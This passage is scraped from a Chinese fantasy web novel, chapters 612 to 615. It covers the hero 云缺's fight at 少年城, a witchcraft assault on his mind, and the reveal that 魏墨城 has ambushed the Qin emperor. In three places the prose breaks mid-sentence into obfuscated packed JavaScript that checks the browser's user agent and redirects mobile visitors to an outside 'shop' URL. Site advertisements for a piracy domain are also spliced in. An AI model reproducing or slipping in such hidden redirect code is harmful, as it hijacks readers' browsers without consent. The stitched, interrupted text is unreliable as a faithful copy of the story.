云缺一边在心里骂着娘,一边拼尽全力回头一看。 果不其然,那两人动刀了! 第612章 人生就是一条波浪线 假影卫的手里多出了漆黑的杀生剑。 秦皇手中也握住了一把锈迹斑斑的重剑,剑刃上刻着两个古朴的文字。 天子! 大秦重宝,天子剑! 杀生剑与天子剑的出现,带来了更加狂暴的气机与锋利的剑气。 两人仍旧打得难分高下,但是云缺变得更加难受。 被笼罩在二品强者的气机当中,本就难以动弹,再加上凌厉磅礴的剑气笼罩,云缺直接被压在石柱表面。 脸正顶着武神炮的炮弹,在旁人看来就好像云缺要吃炮弹似的。 云缺心里已经没力气骂娘了。 只觉得今天诸事不顺,霉运连连。 完美金身之后,全是倒霉事。 云缺有点想不通了, 别人的人生,大多有山巅也有低谷,时而在高山,时而在低谷,时而腾空,时而沉寂,随着岁月流逝而上下起伏,就像起伏的海浪。 人生这种起伏,几乎在所有人身上都能见到,一辈子肯定会有一些起伏。 但云缺这一天就来几次起伏。 别人的人生是起起落落的山峦,连绵向远处,大多时候是平路。 云缺的人生直接就是一条波浪线,全是起落,根本看不到平路! 由于剑气四溢,身处石柱顶端的云缺受到了严重的波及。 后背出现了大片割裂的伤口,鲜血横流。 流血而已,云缺并不在意,如果放血,以云缺浓郁的气血之力,半天也放不干净。 关键地方不好! 云缺就趴在大阵的核心,头顶就是血丹,他身上一旦出现伤口,那些血水不往下流,而是纷纷被血丹吸纳。 放血是缓慢的,吸血可就快了。 云缺估计照这么下去,用不了半个时辰自己就得被吸干。 有心喊秦皇帮忙把自己也一脚踢出去,怎奈秦皇此刻完全被假影卫缠住,两把同样恐怖的长剑斩出了漫天剑光! 靠山山倒,靠海海干。 只能靠自己! 后边的两个武夫,以他们二品不灭的强横肉身,能打一年,但云缺扛不住了。 云缺怒意大起,狠狠捏起了右拳。 到了这种地步,云缺也不想保留什么了, 能动用的力量全部动用! 猛然展开右拳右手的手心处浮现出一个小巧的手印如婴孩的小手。 离开大唐的时候云缺找白无缺要了好处。 手心里的佛印就是佛陀转世送给云缺的一份力量。 以白无缺所言这份手印只能动用三次便会彻底消失。 其实云缺不打算用。 这份底牌是给魔佛准备的。 云缺深知自己介入了魔佛与白无缺的因果当中早晚会遇到魔佛。 魔佛那玩意太过恐怖云缺见识过。 魔佛的一声嘶吼差点把月魁的元神震碎在化境里找到门六才救回了月魁。 转世的超品强者对云缺来说是致命危机。 白无缺给的手印云缺本打算用来对付魔佛否则很容易被对方灭杀。 但现在的情况已经到了生死危机再留着佛手印已经没意义了。 没遭遇魔佛之前人都死了留多少力量也是白搭。 深吸一口气云缺拼尽全力将右掌拍在石柱顶端。 轰鸣大起!!! 一道厚重如云雾般的手印虚影凭空而现直接拍在石柱顶端! 云雾手印崩裂成漫天大雾顺着石柱落向地面携带起呼啸的狂风石柱上的左兰山如同个风筝般左右狂摆。 如此惊天一击终于改变了局面。 石柱不断上涨的血色就此停顿满城少年头顶的血气变得暗淡许多。 但是血线没断! 一次佛手印 天地五行炼神大阵只是被延缓依旧在运转! 打出佛手印之后本就虚弱的云缺险些昏死过去神智变得愈发模糊几乎与本体失去了联系。 云缺以仅剩的神智沟通月魁想要让月魁接管本体继续打出佛手印。 还剩两道手印若是全部打出有很大机会摧毁中心石柱。 大阵一毁云缺即便失去战力满城少年修士即可协助秦皇对付强敌。 当云缺感知到月魁的状态心头顿时一凉。 佛手印的动用将月魁完全压制此时缩在识海大殿内动弹不得! 妖魂被佛陀之力克制即便让月魁接管本体她也用不出佛手印否则月魁的神魂会最先被佛陀之力灭杀掉。 不能再用了…… 云缺暗暗遗憾 尽管佛手印没能摧毁大阵却给秦皇带来了不可多得的机会。 借着天地五行炼神大阵被停顿片刻秦皇周身暴起了汹涌气机天子剑斩出如山的剑气完全将假影卫笼罩最后一剑穿透对方的心窝! 透心的伤势对于不灭武夫来说也是致命的。 云缺眼前已经模糊但还看得清战场见假影卫被一剑透心云缺立刻长出一口气。 一记佛手印没白用! 只要重创假影卫以秦皇的战力足以摧毁大阵。 可是接下来云缺发现了一个奇怪的现象。 秦皇的目光中并没有丝毫斩杀强敌的喜悦眼中的森冷之意更浓长眉紧锁脸上有一种痛苦的表情。 那把强大的天子剑仿佛所穿透的不是假影卫而是秦皇自己! 怎么回事…… 云缺预感到不妙强撑着动用妖瞳。 一片血光当中云缺眼前的画面在不断扭曲秦皇与假影卫的身影时而错位时而翻转根本看不清真相。 妖瞳有看穿幻术的能力但此刻云缺所见的景物光怪陆离难分真假。 眼前的世界变得模糊起来越来越不真实。 猛地闭上眼睛 云缺沉寂心神沟通月魁想要以月魁的目力分辨。 结果心神内毫无声息! 喊了好几声月魁竟声息皆无。 不祥的预感愈发强烈云缺立刻将神智回归识海。 刚在识海中睁开眼云缺豁然一惊! 原本宁静的识海空间居然变成了黑夜四周全是黑色伸手不见五指。 识海空间虽然混沌而广阔正常情况下是灰蒙蒙的天空远处虽然模糊近处还是很明亮的。 无论外界是白天还是黑夜识海空间始终如一。 如今识海却迎来了诡异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575147|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黑夜! 若非云缺能确定自己还活着此时早已认为魂归地府。 “识海怎么了……” “ 莫非被摧毁……” 云缺的语气变得越来越沉心也跟着沉到谷底。 识海空间的变化必然受到了外界影响外面是两位二品强者的战场云缺离得太近免不了被波及。 在搏杀中的二品强者旁边震碎识海可不是什么意外而是极有可能! 云缺想要迈动脚步却发现自己根本动弹不得! 看不到月魁甚至连文殿都消失了踪迹。 不仅心头发沉云缺的这幅元神之体也如同陷入泥潭。 诡异的识海中云缺遭遇了巨大的危机。 若连识海空间都崩塌元神的下场只有一个那就是魂飞魄散! 云缺虽然惊骇始终保持着冷静努力的聚集魂力。 很快 云缺的目光变得清明了很多周围的黑暗变得淡了一些隐约能看到脚下。 识海空间的地面是一层类似云雾的状态当云缺看清脚下后顿时一股寒气直冲天灵。 脚下是两只黑色的手! 手指很长顶端有尖利的黑色指甲两只怪手分别抓着云缺的脚腕! 从黑手的模样判断绝非人手而是妖魔之爪! 什么东西! 云缺惊疑不定。 自己的识海空间怎么会出现这种诡物? 难道这里已经不是识海而是地府? 心头的恍惚瞬间被云缺消散。 “我还没死!岂能魂归地府!” 怒喝中云缺拼尽全力抬脚想要挣脱出来踩碎那诡异的黑手。 脚是抬起来了同时也带出了一张狰狞恐怖的黑色大脸! 黑脸上宽下窄一尺多长脸上有五官但均为漆黑颜色鼻如猪耳如虎嘴似鹿眼如灯! 那就不是一张脸而是一张长满了各种野兽器官的鬼面! 随着黑脸的出现两只黑手抓得更紧牢牢将云缺的两脚固定在地面。 黑脸发不出任何声音但是眼睛在眨动鼻子在嗅着耳朵在呼扇嘴巴在诡笑。 原本清晰稍许的四周随着黑脸的浮现再度变成了黑暗。 如墨的黑暗掩盖了黑脸与黑手云缺的眼前失去了任何画面。 这一幕宛如噩梦。 若是换成其他人很容易迷失在噩梦当中想要拼命逃离梦魇毕竟如此景象实在令人觉得恐惧。 但是云缺毫无畏惧! 不管是噩梦还是恶鬼亦或者那些比噩梦恶鬼还要恐怖的妖邪都无法撼动云缺的心神。 云缺静静的站在识海当中感受着脚下的禁锢。 禁锢确实比之前还要强烈了许多也就是说这绝非梦境! 既然不是梦境那就斩开好了! 猛然抬手云缺的手心里出现一道血光。 妖刀出现在识海空间。 与外界不同识海里的妖刀并非黑色而是赤红之色! 黑刀预示着无数妖血汇聚红到极致便是黑。 红刀 刀尖朝下云缺怒吼着将血红的长刀斩向地面! 注册本站会员可以解锁更多福利,快试试吧 第613章 我的墓在哪呢 刀光落下,在漆黑的识海空间斩出一道赤红的血光。 血色在此刻变得明亮起来,如同黑夜里燃烧起的一枚火把。 刀光下, 一只黑手飞了起来,在云缺眼前碎裂成一片黑雾。 云缺接着斩出了第二刀,第三刀。 脚下诡物的两只手与脑袋,尽数斩断。 怪脸漂浮在云缺面前,脸上的五官不断扭曲,好似在诡笑,无比阴森。 “来我识海作祟,鬼东西,给我死!” 云缺再次劈出一刀,将怪脸从中间斩开。 两半的怪脸,变得愈发恐怖,开始快速抖动,随后嘭的碎裂成黑雾。 这东西不知什么来头,砍碎了居然还不散。 云缺心中泛起疑惑,盯着黑雾。 自己的识海空间,不应该出现外物猜对,即便有外来的神魂侵入,只要击杀,便会彻底消散。 诡物虽然斩了,可黑雾依旧存在,仿佛难以剔除的梦魇,纠缠不休。 云缺正疑惑间,眼前的黑雾突然迎面冲来,分裂成数道细小的黑烟,钻进云缺的七窍! 下一刻,云缺痛苦的掐住自己的脖子,脸色苍白如纸。 云缺觉得自己无法呼吸,神智变得愈发模糊。 耳朵里是尖叫厉吼,眼前是无尽黑夜,鼻子闻的全是浓郁的血腥味,连嘴里都如同吃了十几个黄连,苦得令人作呕。 云缺蹲在地面,掐着脖子,不断干呕。 宁静的识海空间,只有云缺的干呕声在起起伏伏…… 五感六识都被痛苦所填满,这种滋味,云缺从未尝试过,简直令人生不如死。 尤其那种窒息的濒死感,让云缺觉得自己的神识在慢慢消散,犹如一棵小树一朵野花,在缓慢枯萎。 怎么会这样…… 我到底怎么了…… 侵入识海的诡物到底是什么…… 最让云缺惊恐的是,自己脑海里泛起的无数个念头,居然也在慢慢暗淡。 仿佛自己的生命走到了尽头,被剥离在天地之外。 喘不了气,我快死了…… 云缺倒在地上,卷缩着身体,仍旧死死掐着自己的脖子,眼中的光泽在一点点消失。 冰冷的黑暗 ,此刻形成了一方棺木。 曾经的猎妖之人,即将埋葬于自己的棺椁当中。 此时云缺的脑海里完全丧失了其他念头,只剩下了不甘。 我是猎妖人! 岂能死在自己的识海! 即便死,也得死在战场! 强烈的不甘,化作最后的生机,是支撑着云缺的唯一信念。 云缺的眼前已经看不到任何东西,脑海里,则浮现出一副儿时的画面。 小小的云缺,躺在母亲的怀抱里,询问着一些在大人们听来好笑又十分无奈的问题。 “娘,月亮为什么有时是圆的,有时是弯的呢? “月有阴晴圆缺,月圆的时候,代表我们一家人团圆,月缺的时候,代表爹娘不在家,你要自己煮饭吃。 “哦,那月缺的时候,我去其他师兄家里吃饭!大师兄肯定天天在家,吃他的饭! “要叫大师伯,大师兄是娘叫的,你不能叫师兄,差了辈分。 “哦,那辈分是什么呢? “辈分是指家中亲友的长幼先后顺位,娘的师兄师弟与娘同辈,是你的长辈,你叫师伯师叔,娘的晚辈,你才能叫师兄师弟。 “哦,那娘的相公是娘的晚辈还是平辈? “娘的相公当然是平辈,你应该叫……混小子,娘的相公是你爹。 “原来娘的相公是爹呀!我还以为相公是娘给爹起的外号呢,大师兄就总叫我淘气包! “要叫大师伯,吕青不是你大师兄,要记住哦,相公指的是夫君,夫妻之间的一种称呼,不是外号。 “哦,夫妻要不要埋在一起呀? “当然要,你爹与娘若今后死去,如果还有尸体的话,是要葬在一起的。 “哦,我也要和你们埋在一起! “不行哦,你有你自己的墓,不能与父母葬在一处。 “那我的墓在哪呢?我应该埋在什么地方? “坟墓,对我们斩妖人来说是一种奢望,我的埋骨之地其实只有同一个地方,叫做战场…… 战死沙场! 儿时的画面闪过之后,云缺的心头逐渐冷静下来。 战场才是埋骨之地,猎妖人死在自己的识海当中,会被人 笑掉大牙。 冷静之后,云缺察觉到一个诡异的地方。 呼吸! 我在识海之内,为何需要呼吸? 元神状态,别说呼吸,连本体都是幻化而成! 虽然云缺的眼前依旧看不到东西,始终被那种濒死的感觉包裹,但云缺想通了一件事。 这里是识海空间,自己可以创造一切,自己才是这里的主宰。 那么能在识海里杀死自己的,也只有自己! 瞬间的明悟,让云缺抓到了破局的关键点。 云缺试着松开双手。 果然,手如果不掐着脖子,那种可怕的窒息感就消失了。 云缺尽力保持着冷静,开始遮蔽自己的五感六识。 耳畔的嚎叫声消失。 嘴里的苦涩味消失。 鼻端的血腥气消失…… 这一刻,云缺变得心如止水。 一股玄奥的力量在心头涌动,仿佛这片天地尽数在自己掌握当中。 一念朝夕,一念神魔。 云缺沉浸在新的感悟当中,而四周的黑暗,也开始慢慢消散开来。 当云缺睁开眼,识海空间恢复了原本的状态。 仿佛什么都没发生,仿佛刚才那恐怖的一幕只是一场噩梦。 但云缺知道,绝非噩梦那么简单! 因为云缺察觉到一股陌生的气息,残留于识海之内。 气息的来源,是一张黑色的怪脸。 就在脚下,已然干瘪。 之前的噩梦般景象,便是此物创造而出。 一脚踩在怪脸上,云缺动用元神之力,将其彻底清除出识海空间。 怪脸消失。 但来自怪脸的那种气息,让云缺生出了一种熟悉的感觉。 这种气息,云缺自己身上就有! 左手的巫神碑! 怪脸的气息与巫神碑有着类似之处。 “巫术……” 云缺惊疑着低语。 原来刚才的一切,是巫术之力! 这下云缺更加震惊。 自己的识海非同寻常,不仅有妖魂存在,还有一座文殿! 说更新,记住域名qiexs▍(请来企鹅小 说 看最新章节 完整章节) 多么强大的巫术,才能让自己陷入其中? 低阶的巫术根本没戏 即便三品强者施展的巫术云缺都有把握完全抗衡。 除非有人动用了超过三品的强大巫法……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583126|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沉吟之际云缺听到了一声低吟。 来自远处妖都形态的大殿。 云缺来不及多想急忙闯进大殿。 入眼所见是卷缩在大殿里的月魁。 “姐!你怎么了?” 云缺将月魁搀扶起来发现对方的眼瞳内一片漆黑浑身颤抖十分痛苦。 如此状态与云缺之前几乎一模一样。 同在识海的月魁也遭遇了巫术。 不过月魁的状态比云缺还要严重得多妖魂变得暗淡长时间下去非得魂飞魄散不可! “姐!醒过来!” 云缺用力摇晃想要唤醒月魁。 可是越晃月魁变得越痛苦。 显然月魁身上也被之前那种怪脸所侵袭难以剔除。 云缺尝试动用神魂之力想要帮月魁除掉妖魂里的巫法之力。 试了几次均不成功。 云缺的确在自己的识海无所不能一个念头即可制造出山川湖泊造出与妖都一模一样的大殿。 可是对妖魂无能为力。 因为妖魂毕竟是外力是外来的元神。 除非妖魂与云缺的元神完全融合才能受到识海之力的庇护。 这一点其实很好理解。 月魁现在的状态就像一个房客租住在云缺的识海空间而云缺的识海则是一间客栈。 云缺自己能打扫客栈改造客栈甚至毁掉客栈却难以改变外来租客的状态。 客栈不是药房无法给外人治病。 云缺急得眼睛都红了。 这种巫法太过恐怖三阶妖王的妖魂都扛不住必定出自二品强者之手。 云缺想出去找那施展巫法的家伙拼命但很快冷静下来。 出去了也不是人家的对手。 自己仅仅是被波及而已就遭遇如此危机真正面对二品强者哪里有胜算。 既然杀不掉巫术的来源只能自己想办法。 很快云缺有了主意。 抱起月魁 自己的识海空间难 以帮月魁剔除巫法,文殿也许有效。 至于妖魂会被文殿镇压,已经顾不上了。 先救急再说。 闯进文殿之后,月魁立刻哀嚎了一声。 侵入妖魂的强大巫术,加上文殿的气息,双重镇压之下,月魁直接翻了白眼儿,像只死猫般瘫软在云缺怀里。 云缺担心月魁的生死,紧张的盯着对方。 发现月魁虽然昏厥过去,但身上有一丝丝的黑气冒了出来,在文殿之力的作用下化作虚无。 有效! 云缺放心了一些。 以毒攻毒的手段,虽然当时难受,只要将巫法之力剔除,妖魂即可恢复过来。 等到最后一丝黑气散尽,云缺立刻将月魁带出文殿。 一出门,月魁清醒过来。 猫儿状态的妖魂发出喵呜的叫声,两只爪子直接挠在云缺脸上。 “说多少次了!我讨厌这座破文殿!你还带我进来,想要害死我是不是! 挠了几下,月魁发现云缺在嘿嘿直笑,渐渐冷静下来,疑惑道:“我怎么了?好像做了个噩梦,有好多怪物缠着我,要吞噬我…… “我们中了强大的巫术,这叫以毒攻毒,我也没办法,老姐不如今后改为修儒,你的学问多了,文殿没准会向你敞开大门,出入自由。云缺笑道。 “修你个大头儒!你们人族的圣人,又不是我们妖族的圣人,我才不修呢! 月魁翻着白眼儿,一脸的不屑,头顶上却浮现出四书五经的轮廓,其中有一本还在翻页…… 第614章 新仇旧恨,辰龙巳蛇 云缺看着月魁头顶 自从成为完美金身云缺发现自己对识海的掌握变得越发强大之前可看不到妖魂的念头现在居然能看到了! 随之云缺明白了过来。 原来完美金身不仅仅是境界的完美还有心境的完美! 唯有完美的心境才能体会到识海真正的力量! 原来之前那种完全掌握识海天地的力量就是真正的完美心境。 唯有如此才能破开强大的巫术笼罩。 这一刻云缺心头出现了明悟。 这才是山顶真正的景色…… 完美金身带来的另一番好处令云缺欣慰不已不过现在不是好好体会的时候外面的战场究竟出现如何变化还不得而知。 看了眼月魁头顶云缺实在想笑。 出现四书五经代表着月魁曾经看过以记忆的形态展现出来记忆力还不错全都记下来了。 这位常年住在妖都不出门的公主什么书都看这种无聊的书也能看得下去……云缺在心里嘀咕一句。 这时云缺发现翻动的书页又开始往回翻代表着月魁根本没看懂往回开始回忆。 云缺实在忍不住笑出声来。 “你笑什么呢!”月魁狐疑道。 “没有!我笑了么?哦我是在高兴啊为我们姐弟脱困而高兴!走喽!” 为了掩饰嘲笑云缺把血狸高高举在头顶往一旁的妖都跑去。 “放我下来!烦不烦人啊你!我又不是小孩子!把我放下来!” 月魁被云缺举着直接送进了妖都大殿。 月魁幻化出人族状态慵懒的斜倚在大椅上撇着嘴翻着白眼儿一脸的不满。 云缺看到月魁头顶出现了三朵小花儿代表着人家心里挺美。 举高高嘛妖都公主也喜欢可能从小也没被人举过所以表面愠怒实则高兴。 云缺忍着笑想要再试一试问道: “姐我发现你最近变了。” “变了?”月魁摸了摸自己的脸疑惑道:“我哪里变了?” “变得越来越美了。”云缺认真的道。 “嘁油嘴滑舌我本来就很美!”月魁 不屑的翻着白眼儿。 月魁看似不以为意的说完云缺发现对方头顶出现一大片花丛! 红白蓝绿五颜六色成千上万郁郁葱葱都快把大殿堆满了。 云缺的眼皮跳了跳 果然啊但凡女子无论妖族还是人族都喜欢这种夸赞。 听到别人夸她美表面不屑一顾心里简直都要美冒泡了。 眼看着大殿里的花朵越来越多云缺急忙出门生怕大殿被花海填满门容易被堵住。 月魁安然无恙云缺放心下来更觉得有趣。 显然月魁看不到花朵这种能力是情绪的外现只有识海空间的主人才能看到。 站在识海之内云缺开始沟通本体。 识海内看似漫长的危机其实只是云缺自己的感觉外界仅仅过去了很短的时间片刻而已。 到底是谁动用了如此强大的巫术? 秦皇是否能抗衡得住? 云缺锁紧了眉峰。 敌人现在只有三个假影卫朱幺欺风犬。 朱幺是武夫欺风犬是妖王这两个家伙用不出巫族法门。 假影卫道武双修即便动用强大的法术也应该是道家法门才对除非他能三修将巫蛊之道也掌握。 三修强者实在罕见 那么只剩下最后一个猜测…… 少年城里还隐藏着一名巫道强者! “那假影卫既然也是生肖高手他一定还有同伙……” 云缺的心头再次发沉。 假影卫身上的伤口能看到紫袍但是看不清袖口对方身上的黑衣没有完全摧毁云缺判断不出此人的代号究竟是什么。 不过云缺有一种预感秦皇恐怕遭遇了危机。 沟通到本体云缺将神智转回自身。 睁开眼睛面前所见的是一幕令云缺无法置信的画面。 天子剑并没有穿透假影卫的心窝而是扎在秦皇自己的心窝! 秦皇用手里的长剑刺穿了自己的本体! 云缺惊愕万分脑海变得一片空白。 之前的秦皇胜出只是假象当云缺破解了囚禁识海的巫法力量后随之看到了真实的景象。 大秦帝王,天下一品,居然在如此危机的局面下,表演了一出自尽的手段! 这怎么可能呢! 云缺几乎不敢置信,一时间误以为自己仍旧陷入巫法当中,被蒙蔽了双眼。 可是眼瞳内的清明之意,时刻在提醒着云缺,所见一切,均为真实。 秦皇赢開,的确被自己的天子剑刺穿了心脉! 愣怔过后,云缺发现了不同寻常的地方。 云缺看到了一只手! 握住秦皇手腕的一只手! 并非秦皇自尽,而是有人握着秦皇的手腕,控制秦皇将天子剑扎进了他自己的心窝! 那只手是黑色的,手臂极长,垂进石柱表面。 从石柱中伸出来的黑手,就此注定了胜负。 秦皇,遭遇暗算! 咔嚓,咔嚓…… 细微的响动出现。 石柱顶端的空间爬满了密密麻麻的裂纹! 空间,仿佛即将碎裂! 云缺拼尽全力动用妖瞳,想要看清究竟发生了什么,然而眼前越发模糊不清。 隐约间,云缺感受到一股寒意! 犹如陷入了万年的冰潭! 这股寒意令云缺越发清醒,但是身体也变得愈发僵硬。 寒意,从石柱而来! 云缺的妖瞳晃动间,努力朝下方看去。 这一眼,云缺被惊得头皮发麻。 石柱顶端不知何时变成了一层冰面,冰层下方是数不尽的怪脸! 每一张脸都无比扭曲,眼眶里没有瞳孔,而是漆黑如墨,眼耳口鼻由各种妖兽与人族的五官拼凑而成,看起来彷如恶鬼! 这些狰狞的面孔奋力挣扎着,想要冲出冰层之外,隐约间能听到无数哀嚎声在耳畔起伏。 凄惨的哭嚎,一时间让云缺觉得自己没在少年城,而是身处地府当中。 冰层下的怪脸,云缺十分熟悉,就是识海空间中的那种鬼怪大脸! 云缺只是斩杀了一张怪脸,便耗费了巨大的力量,此刻脚下的怪脸成千上万,层层叠叠! 云缺恍然间发现, 四周变成了黑夜,除了石柱顶端之外,什么也看不到了。 少年城消失,无数少年修士没了踪迹,满城的灯火尽数熄灭 周围空荡荡安静得犹如永夜。 云缺知道自己仍旧陷在强大的巫法之中尚未脱困。 刚才识海里的那张怪脸仅仅只是这份巫法外溢的一份力量而已。 而法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583127|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术全部的威能都笼罩在秦皇身上! 随着怪脸的出现那只探出地面的漆黑手臂开始不断蠕动。 咔嚓咔嚓! 冰层碎裂 一张张怪脸从冰层里冒了出来盘旋在四周。 有的怪脸在诡笑有的怪脸在哭嚎有的怪脸在咒骂有的怪脸在咀嚼自己不断将自己从下颏开始吞噬又从额头重新生长出来。 千百张怪脸漂浮半空组成了一幕惊悚的画面所有怪脸的眼睛都盯死在秦皇身上。 秦皇成了石柱上的一抹烛火在狂风中濒临熄灭。 看着这恐怖的一幕云缺很想离远点可惜做不到他始终被压制在石柱边缘只能眼睁睁看着诡异的事态在不断发展。 咕噜噜的水泡声出现。 一道黑影从石柱顶端爬了出来! 这黑影便是暗算秦皇的真凶其单手始终握着秦皇持剑的手腕! 黑影脸上没有五官漆黑一片整个人只有一道轮廓仿佛是夜幕之神掌管着这片无尽黑暗。 当其站在秦皇背后之际嘴巴的位置忽然裂开现出一个诡异的笑容。 噗!!! 黑影握着秦皇手腕的黑手再度用力将天子剑深深扎进秦皇心窝。 秦皇没吭一声。 脸上的痛苦神色也只是一闪而逝很快恢复了冷漠之态。 好似这位大秦帝王对生死已经毫不在意长剑贯心不过是寻常而已。 “果然是你们。” 秦皇冷漠的低语语气中没有意外也听不出懊恼平平淡淡。 秦皇身后的黑影发出同样平静的声音道: “多年不见陛下还是如此霸气本不想这么快见面怎奈佛门手印威能太大炼神大阵崩塌在即没办法 鹅小说的域名qiexs?(请来企 鹅小说 看最新章节 完整章节)只能提前来觐见帝王。” 到了此时云缺已经看懂了。 除了假影卫朱幺与欺风犬之外少年城里果然还藏着最有一名星辰殿的高手! 此人隐遁之深连秦皇 都没察觉到。 竟是藏在了大阵核心的石柱深处! 是佛陀手印的出现,将此人提前从石柱里逼了出来,而此人一出手便是绝杀! 之前的强大巫法,也是此人施展而出! 绝对是二品强者! 云缺瞬间断定此人的修为,随后瞳孔开始了快速晃动,牙齿在狠狠咬合,两手的指甲扣进了手心血肉。 并非震惊于第四名星辰殿高手的出现,也不是在替秦皇的下场惋惜,而是愤怒! 愤怒的来源,便是秦皇身后的黑影! 即便此人只显现出一张嘴而已,根本没有容貌可言,但是云缺听到了熟悉的声音,由此判断出此人的身份。 那声音,云缺太熟悉了,小时候就经常听到,岂能忘记。 这黑影正是监正,吕青! 不……应该说成是前朝监正,魏墨城! 云缺的脑子里嗡嗡作响。 云缺想不通,魏墨城为何会出现在少年城? 魏墨城是星辰殿的巳蛇,那么假影卫的身份也呼之欲出。 辰龙!!! 新仇旧恨,令云缺再也难以控制住心神,气血翻涌,眼瞳赤红,浑身妖气变得狂躁起来。 看这本书的人都是很幸运的,分享后你的运气会更棒的 第615章 问你爽不爽 石柱之上,秦皇被自己的天子剑透心而过,其身后的黑影渐渐显现出真正的容貌。 一袭青衣,面带轻笑,正是大晋司天监的监正吕青。 也可说成是,前朝监正魏墨城! 在秦皇对面,假影卫常疾身上的黑衣早已破破烂烂,此时纷纷碎裂开来,现出了其内的完整紫袍。 紫袍的袖口上,绣着古朴的‘辰’字。 辰龙与巳蛇,戌狗与亥猪,齐聚于少年城! 云缺此刻的心情完全被愤怒所填满,额头与手背遍布青筋,双眼赤红。 难怪之前看到假影卫的身影,云缺有一种熟悉的感觉,原来假影卫的真身就是曾经将巫神碑封入自己左手的辰龙。 云缺从未想到, 不仅辰龙现身少年城,魏墨城居然也藏身于大阵的中心石柱之内,巳蛇此刻现身而出,目标只有一个,那就是秦皇赢開! 本以为看透了棋局,可现在云缺才发现,这盘棋的晦涩程度远远超过自己的想象。 少年城的劫难,少年丹的炼制,天地五行炼神大阵的布置,不是为了嫁祸秦皇,而是为了秦皇本人而来! 星辰殿,想要以少年城为局,伏杀大秦之主! 局中局,计中计,如此晦涩复杂的计划,让云缺觉得心头冰凉。 星辰殿不出手则已,一出手,便是惊天动地的大计! 秦皇若死于少年城,大秦无主,云州必定动荡不休,星辰殿完全可以趁机走向前台,掌控所有云州国度。 尽管云缺对秦皇没什么好感,但他知道秦皇不能死! 至少星辰殿没被彻底摧毁之前,秦皇这位天下一品必须活着才行,否则天下间怕是难有任何势力能与星辰殿抗衡。 对于如今的局面,云缺却无能为力。 别说帮忙,现在云缺连话都说不出来,空有一腔怒火,无力发泄。 随着魏墨城现身而出,四周的黑暗愈发沉淀,这场永夜所带来的恐怖力量,令云缺难以抗衡。 二品两个字,在云缺脑海中起伏。 魏墨城,居然是二品的巫道强者! 巫道一途, 四品咒为言师,三品为大巫,二品为巫王! 巫王强者,拥有着能与二品不灭武夫相抗衡的力量 而巫法大多为阴邪诡异的招数最适合暗杀。 蛰伏于古阵中心的魏墨城为秦皇准备了一份致命的大礼! 魏墨城贴在秦皇身后其右手握着秦皇的手腕微笑道: “你始终瞧不起我们啊所以才会如此大意不知这一剑陛下可还满意。” 随着魏墨城的声音秦皇四周的无数怪脸纷纷咧开大嘴齐齐盯着秦皇呈现出诡笑姿态。 令人惊悚的一幕即便云缺这位猎妖人都觉得心悸。 半空的无数怪脸仿佛一群来自黄泉的使者要将大秦之主推进阴曹地府! 秦皇的脸上始终看不出表情目光一如既往的平静有一种令人无法理解的淡然。 仿佛面对着生死危机人家毫不在乎。 云缺自认为对生死早已看淡随时可以玩命战死也无妨。 可是秦皇的模样在云缺看来已经不仅是看淡生死了而是人家就像个死人一样已经没有了生死隔阂。 这种感觉很奇怪云缺也说不出来为什么。 不过秦皇此刻的状态让云缺觉得了无生气。 不。 不是此刻而是自从秦皇现身之后就始终是这种不在乎生死的模样。 云缺心里有些不解。 若非遇到生死危机云缺自己可不会随便玩命毕竟猎妖人也想活着否则那不是猎妖人而是蠢人。 可是在秦皇身上云缺看不到半点生气一直死气沉沉不像个活人该有的样子。 身为大秦帝王怎会如此状态? 天子剑在魏墨城的控制下一点点没入秦皇心窝直至从后心透出前心只剩个剑柄。 如此伤势按理说秦皇即便不死也该早已被重创。 不灭武夫的确有着快速回复的天赋断手断脚均可在瞬间重接 但是不灭武夫并非不死的武夫一样有着致命弱点。 心脉脑袋识海。 只要这三处被完全摧毁一处不灭境的武夫也将死于非命。 秦皇心脉被穿透非但没死反而连一滴血都没有! 赢開的嘴角忽然动了动开口道: “这一剑朕还算满意不过朕一 样瞧不起你们你们只会用尽卑鄙手段提升自身修为如过街老鼠终将人人喊打。” 秦皇的语气带着一份傲然之意。 魏墨城的笑意更浓了几分道: “过街老鼠这个词儿从陛下口中说出来怕是不妥你身为子鼠岂能骂自己的同类呢让人听去怕不得贻笑大方。” 秦皇冷冷道: “我这辈子最后悔的一件事便是子鼠之名与你们这群腌臜小人为谋恶心至极。” 魏墨城笑道: “陛下说错了我们不叫恶心我们只是不择手段罢了修行之人谁人不想攀登到顶峰呢陛下还不是一样用了与我们相似的腌臜手段将自身提升为一品强者。” 秦皇冷声道: “我与你们不同你们用了卑鄙手段而朕是传承!” 